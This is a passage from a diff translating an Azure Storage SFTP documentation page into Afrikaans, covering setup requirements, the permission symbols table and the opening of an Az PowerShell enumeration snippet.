vir tot 100 containers. +- Netwerkoorwegings: SFTP-verbindinge word deur poort 22 gemaak. Azure ondersteun netwerkkonfigurasies soos firewalls, private endpoints, of virtual networks om SFTP-verkeer te beveilig. -### Setup Requirements +### Opstellingsvereistes -- Hierarchical Namespace: HNS moet geaktiveer wees wanneer die storage account geskep word. -- Supported Encryption: Vereis Microsoft Security Development Lifecycle (SDL)-goedgekeurde kryptografiese algoritmes (bv. rsa-sha2-256, ecdsa-sha2-nistp256). -- SFTP Configuration: -- Enable SFTP on the storage account. -- Create local user identities with appropriate permissions. -- Configure home directories for users to define their starting location within the container. +- Hierarchical Namespace: HNS moet geaktiveer word wanneer die storage account geskep word. +- Ondersteunde enkripsie: Vereis Microsoft Security Development Lifecycle (SDL)-goedgekeurde kriptografiese algoritmes (bv. rsa-sha2-256, ecdsa-sha2-nistp256). +- SFTP-konfigurasie: + - Skakel SFTP op die storage account in. + - Skep plaaslike gebruikersidentiteite met toepaslike toestemmings. + - Konfigureer huisgidse vir gebruikers om hul beginligging binne die container te bepaal. ### Permissions -| Permissie | Simbool | Beskrywing | -| ---------------------- | ------ | ------------------------------------ | -| **Read** | `r` | Lees lêerinhoud. | -| **Write** | `w` | Laai lêers op en skep gidse. | -| **List** | `l` | Lys inhoud van gidse. | -| **Delete** | `d` | Vee lêers of gidse uit. | -| **Create** | `c` | Skep lêers of gidse. | -| **Modify Ownership** | `o` | Verander die eienaar (gebruiker of groep). | -| **Modify Permissions** | `p` | Verander ACLs op lêers of gidse. | +| Permissie | Simbool | Beskrywing | +| ---------------------- | ------ | -------------------------------------- | +| **Lees** | `r` | Lees lêerinhoud. | +| **Skryf** | `w` | Laai lêers op en skep gidse. | +| **Lys** | `l` | Lys die inhoud van gidse. | +| **Verwyder** | `d` | Verwyder lêers of gidse. | +| **Skep** | `c` | Skep lêers of gidse. | +| **Wysig eienaarskap** | `o` | Verander die eienaar (gebruiker of groep). | +| **Wysig toestemmings** | `p` | Verander ACLs op lêers of gidse. | ## Enumerasie @@ -372,7 +372,7 @@ az storage account local-user list \ {{#tab name="Az PowerShell" }}
-Az PowerShell enumeration +Az PowerShell enumerasie ```powershell # Get storage accounts Get-AzStorageAccount | fl